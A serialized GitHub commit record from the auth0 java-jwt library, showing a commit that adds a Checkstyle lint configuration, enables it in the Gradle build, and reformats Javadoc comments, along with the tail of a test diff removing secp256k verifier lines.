deletionsKufiles]}(j$  (2e636c7126a63fd79ff4b0eebb999269fb917f78filenameBlib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javastatusmodifiedj  K j  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/6f94d823682cf4ddb717d9e336c6f49004078b4b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/6f94d823682cf4ddb717d9e336c6f49004078b4b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=6f94d823682cf4ddb717d9e336c6f49004078b4bpatchX  @@ -1223,15 +1223,12 @@ public void invalidECDSA256SignatureShouldFailTokenVerification() throws Excepti
         ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
         ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
-        ECKey key256k = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
         JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
         JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
         JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
-        JWTVerifier verifier256k = JWT.require(Algorithm.ECDSA256(key256k)).build();
         verifier256.verify(jwtWithInvalidSig);
         verifier384.verify(jwtWithInvalidSig);
         verifier512.verify(jwtWithInvalidSig);
-        verifier256k.verify(jwtWithInvalidSig);
     }
 
     @Test
@@ -1244,15 +1241,12 @@ public void emptyECDSA256SignatureShouldFailTokenVerification() throws Exception
         ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
         ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
-        ECKey key256k = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
         JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
         JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
         JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
-        JWTVerifier verifier256k = JWT.require(Algorithm.ECDSA256(key256k)).build();
         verifier256.verify(jwtWithInvalidSig);
         verifier384.verify(jwtWithInvalidSig);
         verifier512.verify(jwtWithInvalidSig);
-        verifier256k.verify(jwtWithInvalidSig);
     }
 
     @Testuau(75833e6d422206ec64e6215bdf0e940aa1c16239}(sha(75833e6d422206ec64e6215bdf0e940aa1c16239node_idEC_kwDOAQtL0doAKDc1ODMzZTZkNDIyMjA2ZWM2NGU2MjE1YmRmMGU5NDBhYTFjMTYyMzkcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-25T07:57:26Zu	committer}(j  GitHubj  noreply@github.comj  2022-03-25T07:57:26ZumessageAdd lint checks (#561)

* Add lint checks

* Cleaned up lint errors

* Add rule to avoid println in code

* Remove unused methods in CryptoHelpertree}(j  (cfe3b0c9ce1d9a72ed99c933e919b959cbbfcb44url^https://api.github.com/repos/auth0/java-jwt/git/trees/cfe3b0c9ce1d9a72ed99c933e919b959cbbfcb44uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/75833e6d422206ec64e6215bdf0e940aa1c16239
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiPXXmCRBK7hj4Ov3rIwAAe3kIAGHe4k+yrpof0CU2VqQ1TeD9
V7vOezWCXqYJu+NUY6d2nKUCJvaxw3YBF1kYln98fvwPsIrtNomZmrsw5krrlTGR
QuWe6uy1ZT3fU6DfbM7xgSeXAA//zdypRzj13rujQl8CcnZltt8j2436ZLj1bjEV
2hWMyenFzTQsKe+lXYaxwW5A1pPLI6Wkb2SaQ4yoX9OF2ZBBtKxtKHK80fyi7StW
5icL/DN6yLGEnjsuARix8656Utwyq6VHhza5RLTYXsaXOwFwRJ4vaEqZGxI4Q9n0
9XsJgu4tB3e/tNnZQmMm6JxLnaKL390Q54VJ8WteTuXxMYWUNP5WnL1wyj8WRVo=
=Ea+q
-----END PGP SIGNATURE-----
payloadXi  tree cfe3b0c9ce1d9a72ed99c933e919b959cbbfcb44
parent 499f481a303cea073a95b0b57a920aa71d344993
author Poovamraj T T <poovamraj@gmail.com> 1648195046 +0530
committer GitHub <noreply@github.com> 1648195046 +0100

Add lint checks (#561)

* Add lint checks

* Cleaned up lint errors

* Add rule to avoid println in code

* Remove unused methods in CryptoHelperuuj  \https://api.github.com/repos/auth0/java-jwt/commits/75833e6d422206ec64e6215bdf0e940aa1c16239html_urlQhttps://github.com/auth0/java-jwt/commit/75833e6d422206ec64e6215bdf0e940aa1c16239comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/75833e6d422206ec64e6215bdf0e940aa1c16239/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/reposn     
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(jĪ  web-flowjƪ  J/j  MDQ6VXNlcjE5ODY0NDQ3jȪ  4https://avatars.githubusercontent.com/u/19864447?v=4jʪ  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowjͪ  /https://api.github.com/users/web-flow/followersjϪ  <https://api.github.com/users/web-flow/following{/other_user}jѪ  5https://api.github.com/users/web-flow/gists{/gist_id}jӪ  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jժ  3https://api.github.com/users/web-flow/subscriptionsjת  *https://api.github.com/users/web-flow/orgsj٪  +https://api.github.com/users/web-flow/reposj۪  6https://api.github.com/users/web-flow/events{/privacy}jݪ  5https://api.github.com/users/web-flow/received_eventsjߪ  Userj  uparents]}(j  (499f481a303cea073a95b0b57a920aa71d344993j  \https://api.github.com/repos/auth0/java-jwt/commits/499f481a303cea073a95b0b57a920aa71d344993j  Qhttps://github.com/auth0/java-jwt/commit/499f481a303cea073a95b0b57a920aa71d344993uastats}(totalM	additionsM	deletionsM"ufiles](}(j  (d261598185a284921b33df28fcffc23706782f82filename config/checkstyle/checkstyle.xmlstatusaddedj  Mfj  K changesMfblob_urlthttps://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/config%2Fcheckstyle%2Fcheckstyle.xmlraw_urlshttps://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/config%2Fcheckstyle%2Fcheckstyle.xmlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/config%2Fcheckstyle%2Fcheckstyle.xml?ref=75833e6d422206ec64e6215bdf0e940aa1c16239patchXxK  @@ -0,0 +1,358 @@
+<?xml version="1.0"?>
+<!DOCTYPE module PUBLIC
+        "-//Checkstyle//DTD Checkstyle Configuration 1.3//EN"
+        "https://checkstyle.org/dtds/configuration_1_3.dtd">
+
+<!--
+    Checkstyle configuration that checks the Google coding conventions from Google Java Style
+    that can be found at https://google.github.io/styleguide/javaguide.html
+
+    Checkstyle is very configurable. Be sure to read the documentation at
+    http://checkstyle.org (or in your downloaded distribution).
+
+    To completely disable a check, just comment it out or delete it from the file.
+    To suppress certain violations please review suppression filters.
+
+    Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
+ -->
+
+<module name = "Checker">
+    <property name="charset" value="UTF-8"/>
+
+    <property name="severity" value="error"/>
+
+    <property name="fileExtensions" value="java, properties, xml"/>
+    <!-- Excludes all 'module-info.java' files              -->
+    <!-- See https://checkstyle.org/config_filefilters.html -->
+    <module name="BeforeExecutionExclusionFileFilter">
+        <property name="fileNamePattern" value="module\-info\.java$"/>
+    </module>
+    <!-- https://checkstyle.org/config_filters.html#SuppressionFilter -->
+    <module name="SuppressionFilter">
+        <property name="file" value="${org.checkstyle.google.suppressionfilter.config}"
+                  default="checkstyle-suppressions.xml" />
+        <property name="optional" value="true"/>
+    </module>
+
+    <!-- Checks for whitespace                               -->
+    <!-- See http://checkstyle.org/config_whitespace.html -->
+    <module name="FileTabCharacter">
+        <property name="eachLine" value="true"/>
+    </module>
+
+    <module name="LineLength">
+        <property name="fileExtensions" value="java"/>
+        <property name="max" value="120"/>
+        <property name="ignorePattern" value="^package.*|^import.*|a href|href|http://|https://|ftp://"/>
+    </module>
+
+    <module name="TreeWalker">
+        <module name="OuterTypeFilename"/>
+        <module name="IllegalTokenText">
+            <property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
+            <property name="format"
+                      value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
+            <property name="message"
+                      value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
+        </module>
+        <module name="Regexp">
+            <!-- . matches any character, so we need to escape it and use \. to match dots. -->
+            <property name="format" value="System\.out\.println"/>
+            <property name="illegalPattern" value="true"/>
+            <property name="message" value="Use of System.out.println is not allowed"/>
+        </module>
+        <module name="AvoidEscapedUnicodeCharacters">
+            <property name="allowEscapesForControlCharacters" value="true"/>
+            <property name="allowByTailComment" value="true"/>
+            <property name="allowNonPrintableEscapes" value="true"/>
+        </module>
+        <module name="OneTopLevelClass"/>
+        <module name="NoLineWrap">
+            <property name="tokens" value="PACKAGE_DEF, IMPORT, STATIC_IMPORT"/>
+        </module>
+        <module name="EmptyBlock">
+            <property name="option" value="TEXT"/>
+            <property name="tokens"
+                      value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
+        </module>
+        <module name="NeedBraces">
+            <property name="tokens"
+                      value="LITERAL_DO, LITERAL_ELSE, LITERAL_FOR, LITERAL_IF, LITERAL_WHILE"/>
+        </module>
+        <module name="LeftCurly">
+            <property name="tokens"
+                      value="ANNOTATION_DEF, CLASS_DEF, CTOR_DEF, ENUM_CONSTANT_DEF, ENUM_DEF,
+                    INTERFACE_DEF, LAMBDA, LITERAL_CASE, LITERAL_CATCH, LITERAL_DEFAULT,
+                    LITERAL_DO, LITERAL_ELSE, LITERAL_FINALLY, LITERAL_FOR, LITERAL_IF,
+                    LITERAL_SWITCH, LITERAL_SYNCHRONIZED, LITERAL_TRY, LITERAL_WHILE, METHOD_DEF,
+                    OBJBLOCK, STATIC_INIT, RECORD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="RightCurly">
+            <property name="id" value="RightCurlySame"/>
+            <property name="tokens"
+                      value="LITERAL_TRY, LITERAL_CATCH, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE,
+                    LITERAL_DO"/>
+        </module>
+        <module name="RightCurly">
+            <property name="id" value="RightCurlyAlone"/>
+            <property name="option" value="alone"/>
+            <property name="tokens"
+                      value="CLASS_DEF, METHOD_DEF, CTOR_DEF, LITERAL_FOR, LITERAL_WHILE, STATIC_INIT,
+                    INSTANCE_INIT, ANNOTATION_DEF, ENUM_DEF, INTERFACE_DEF, RECORD_DEF,
+                    COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="SuppressionXpathSingleFilter">
+            <!-- suppresion is required till https://github.com/checkstyle/checkstyle/issues/7541 -->
+            <property name="id" value="RightCurlyAlone"/>
+            <property name="query" value="//RCURLY[parent::SLIST[count(./*)=1]
+                                     or preceding-sibling::*[last()][self::LCURLY]]"/>
+        </module>
+        <module name="WhitespaceAfter">
+            <property name="tokens"
+                      value="COMMA, SEMI, TYPECAST, LITERAL_IF, LITERAL_ELSE,
+                    LITERAL_WHILE, LITERAL_DO, LITERAL_FOR, DO_WHILE, ELLIPSIS,
+                    LITERAL_SWITCH, LAMBDA"/>
+        </module>
+        <module name="WhitespaceAround">
+            <property name="allowEmptyConstructors" value="true"/>
+            <property name="allowEmptyLambdas" value="true"/>
+            <property name="allowEmptyMethods" value="true"/>
+            <property name="allowEmptyTypes" value="true"/>
+            <property name="allowEmptyLoops" value="true"/>
+            <property name="ignoreEnhancedForColon" value="false"/>
+            <property name="tokens"
+                      value="ASSIGN, BAND, BAND_ASSIGN, BOR, BOR_ASSIGN, BSR, BSR_ASSIGN, BXOR,
+                    BXOR_ASSIGN, COLON, DIV, DIV_ASSIGN, DO_WHILE, EQUAL, GE, GT, LAMBDA, LAND,
+                    LCURLY, LE, LITERAL_CATCH, LITERAL_DO, LITERAL_ELSE, LITERAL_FINALLY,
+                    LITERAL_FOR, LITERAL_IF, LITERAL_RETURN, LITERAL_SWITCH, LITERAL_SYNCHRONIZED,
+                    LITERAL_TRY, LITERAL_WHILE, LOR, LT, MINUS, MINUS_ASSIGN, MOD, MOD_ASSIGN,
+                    NOT_EQUAL, PLUS, PLUS_ASSIGN, QUESTION, RCURLY, SL, SLIST, SL_ASSIGN, SR,
+                    SR_ASSIGN, STAR, STAR_ASSIGN, LITERAL_ASSERT, TYPE_EXTENSION_AND"/>
+            <message key="ws.notFollowed"
+                     value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
+            <message key="ws.notPreceded"
+                     value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="OneStatementPerLine"/>
+        <module name="MultipleVariableDeclarations"/>
+        <module name="ArrayTypeStyle"/>
+        <module name="MissingSwitchDefault"/>
+        <module name="FallThrough"/>
+        <module name="UpperEll"/>
+        <module name="ModifierOrder"/>
+        <module name="EmptyLineSeparator">
+            <property name="tokens"
+                      value="PACKAGE_DEF, IMPORT, STATIC_IMPORT, CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                    STATIC_INIT, INSTANCE_INIT, METHOD_DEF, CTOR_DEF, VARIABLE_DEF, RECORD_DEF,
+                    COMPACT_CTOR_DEF"/>
+            <property name="allowNoEmptyLineBetweenFields" value="true"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapDot"/>
+            <property name="tokens" value="DOT"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapComma"/>
+            <property name="tokens" value="COMMA"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/259 -->
+            <property name="id" value="SeparatorWrapEllipsis"/>
+            <property name="tokens" value="ELLIPSIS"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/258 -->
+            <property name="id" value="SeparatorWrapArrayDeclarator"/>
+            <property name="tokens" value="ARRAY_DECLARATOR"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapMethodRef"/>
+            <property name="tokens" value="METHOD_REF"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="PackageName">
+            <property name="format" value="^[a-z]+(\.[a-z][a-z0-9]*)*$"/>
+            <message key="name.invalidPattern"
+                     value="Package name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="TypeName">
+            <property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                    ANNOTATION_DEF, RECORD_DEF"/>
+            <message key="name.invalidPattern"
+                     value="Type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MemberName">
+            <property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
+            <message key="name.invalidPattern"
+                     value="Member name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LambdaParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Lambda parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="CatchParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LocalVariableName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Local variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="PatternVariableName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Pattern variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ClassTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Class type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="RecordComponentName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Record component name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="RecordTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Record type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MethodTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Method type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="InterfaceTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Interface type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="NoFinalizer"/>
+        <module name="GenericWhitespace">
+            <message key="ws.followed"
+                     value="GenericWhitespace ''{0}'' is followed by whitespace."/>
+            <message key="ws.preceded"
+                     value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
+            <message key="ws.illegalFollow"
+                     value="GenericWhitespace ''{0}'' should followed by whitespace."/>
+            <message key="ws.notPreceded"
+                     value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="Indentation">
+            <property name="basicOffset" value="4"/>
+            <property name="braceAdjustment" value="2"/>
+            <property name="caseIndent" value="4"/>
+            <property name="throwsIndent" value="4"/>
+            <property name="lineWrappingIndentation" value="4"/>
+            <property name="arrayInitIndent" value="2"/>
+        </module>
+        <module name="AbbreviationAsWordInName">
+            <property name="ignoreFinal" value="false"/>
+            <property name="allowedAbbreviationLength" value="5"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, ANNOTATION_DEF, ANNOTATION_FIELD_DEF,
+                    PARAMETER_DEF, VARIABLE_DEF, METHOD_DEF, PATTERN_VARIABLE_DEF, RECORD_DEF,
+                    RECORD_COMPONENT_DEF"/>
+        </module>
+        <module name="NoWhitespaceBeforeCaseDefaultColon"/>
+        <module name="OverloadMethodsDeclarationOrder"/>
+        <module name="VariableDeclarationUsageDistance"/>
+        <module name="MethodParamPad">
+            <property name="tokens"
+                      value="CTOR_DEF, LITERAL_NEW, METHOD_CALL, METHOD_DEF,
+                    SUPER_CTOR_CALL, ENUM_CONSTANT_DEF, RECORD_DEF"/>
+        </module>
+        <module name="NoWhitespaceBefore">
+            <property name="tokens"
+                      value="COMMA, SEMI, POST_INC, POST_DEC, DOT,
+                    LABELED_STAT, METHOD_REF"/>
+            <property name="allowLineBreaks" value="true"/>
+        </module>
+        <module name="ParenPad">
+            <property name="tokens"
+                      value="ANNOTATION, ANNOTATION_FIELD_DEF, CTOR_CALL, CTOR_DEF, DOT, ENUM_CONSTANT_DEF,
+                    EXPR, LITERAL_CATCH, LITERAL_DO, LITERAL_FOR, LITERAL_IF, LITERAL_NEW,
+                    LITERAL_SWITCH, LITERAL_SYNCHRONIZED, LITERAL_WHILE, METHOD_CALL,
+                    METHOD_DEF, QUESTION, RESOURCE_SPECIFICATION, SUPER_CTOR_CALL, LAMBDA,
+                    RECORD_DEF"/>
+        </module>
+        <module name="OperatorWrap">
+            <property name="option" value="NL"/>
+            <property name="tokens"
+                      value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR,
+                    LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF,
+                    TYPE_EXTENSION_AND "/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationMostCases"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF,
+                      RECORD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationVariables"/>
+            <property name="tokens" value="VARIABLE_DEF"/>
+            <property name="allowSamelineMultipleAnnotations" value="true"/>
+        </module>
+        <module name="NonEmptyAtclauseDescription"/>
+        <module name="InvalidJavadocPosition"/>
+        <module name="JavadocTagContinuationIndentation"/>
+        <module name="SummaryJavadoc">
+            <property name="forbiddenSummaryFragments"
+                      value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
+        </module>
+        <module name="RequireEmptyLineBeforeBlockTagGroup"/>
+        <module name="AtclauseOrder">
+            <property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
+            <property name="target"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
+        </module>
+        <module name="JavadocMethod">
+            <property name="accessModifiers" value="public"/>
+            <property name="allowMissingParamTags" value="true"/>
+            <property name="allowMissingReturnTag" value="true"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="tokens" value="METHOD_DEF, CTOR_DEF, ANNOTATION_FIELD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="MissingJavadocMethod">
+            <property name="scope" value="public"/>
+            <property name="minLineCount" value="2"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="tokens" value="METHOD_DEF, CTOR_DEF, ANNOTATION_FIELD_DEF,
+                                   COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="MissingJavadocType">
+            <property name="scope" value="protected"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                      RECORD_DEF, ANNOTATION_DEF"/>
+            <property name="excludeScope" value="nothing"/>
+        </module>
+        <module name="SingleLineJavadoc"/>
+        <module name="EmptyCatchBlock">
+            <property name="exceptionVariableName" value="expected"/>
+        </module>
+        <module name="CommentsIndentation">
+            <property name="tokens" value="SINGLE_LINE_COMMENT, BLOCK_COMMENT_BEGIN"/>
+        </module>
+        <!-- https://checkstyle.org/config_filters.html#SuppressionXpathFilter -->
+        <module name="SuppressionXpathFilter">
+            <property name="file" value="${org.checkstyle.google.suppressionxpathfilter.config}"
+                      default="checkstyle-xpath-suppressions.xml" />
+            <property name="optional" value="true"/>
+        </module>
+    </module>
+</module>
\ No newline at end of fileu}(j  (001963bdb2effd8b3776c34f354728cd201971b7j  lib/build.gradlej  modifiedj  Kj  K j  Kj  bhttps://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fbuild.gradlej
  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X;  @@ -2,6 +2,12 @@ plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
+    id 'checkstyle'
+}
+
+checkstyle {
+    toolVersion '10.0'
+    checkstyleTest.enabled = false //We are disabling lint checks for tests
 }
 
 logger.lifecycle("Using version ${version} for ${group}.${name}")u}(j  (9d719d1e5e89287b471e171c0c708188d3dd743cj  (lib/src/main/java/com/auth0/jwt/JWT.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X	  @@ -6,6 +6,9 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 
+/**
+ * Exposes all the JWT functionalities.
+ */
 @SuppressWarnings("WeakerAccess")
 public class JWT {
 
@@ -22,11 +25,13 @@ public JWT() {
     /**
      * Decode a given Json Web Token.
      * <p>
-     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     * Note that this method <b>doesn't verify the token's signature!</b>
+     * Use it only if you trust the token or you already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
-     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt
+     *                            or JSON format of each of the jwt parts.
      */
     public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
         return new JWTDecoder(parser, token);
@@ -35,11 +40,13 @@ public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
     /**
      * Decode a given Json Web Token.
      * <p>
-     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     * Note that this method <b>doesn't verify the token's signature!</b>
+     * Use it only if you trust the token or you already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
-     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt
+     *                            or JSON format of each of the jwt parts.
      */
     public static DecodedJWT decode(String token) throws JWTDecodeException {
         return new JWTDecoder(token);
@@ -57,7 +64,7 @@ public static Verification require(Algorithm algorithm) {
     }
 
     /**
-     * Returns a Json Web Token builder used to create and sign tokens
+     * Returns a Json Web Token builder used to create and sign tokens.
      *
      * @return a token builder.
      */u}(j  (6b355b36346b19ec6ba791b3f49947ba9b1a57d7j  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj  modifiedj  KCj  K7j  Kzj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X4'  @@ -15,7 +15,8 @@
 import java.util.Map.Entry;
 
 /**
- * The JWTCreator class holds the sign method to generate a complete JWT (with Signature) from a given Header and Payload content.
+ * The JWTCreator class holds the sign method to generate a complete JWT (with Signature)
+ * from a given Header and Payload content.
  * <p>
  * This class is thread-safe.
  */
@@ -38,7 +39,8 @@ public final class JWTCreator {
         mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);
     }
 
-    private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {
+    private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims)
+            throws JWTCreationException {
         this.algorithm = algorithm;
         try {
             headerJson = mapper.writeValueAsString(new HeaderClaimsHolder(headerClaims));
@@ -96,7 +98,8 @@ public Builder withHeader(Map<String, Object> headerClaims) {
 
         /**
          * Add a specific Key Id ("kid") claim to the Header.
-         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider, the 'kid' value will be taken from that provider and this one will be ignored.
+         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider,
+         * the 'kid' value will be taken from that provider and this one will be ignored.
          *
          * @param keyId the Key Id value.
          * @return this same Builder instance.
@@ -322,48 +325,6 @@ public Builder withClaim(String name, Instant value) throws IllegalArgumentExcep
             return this;
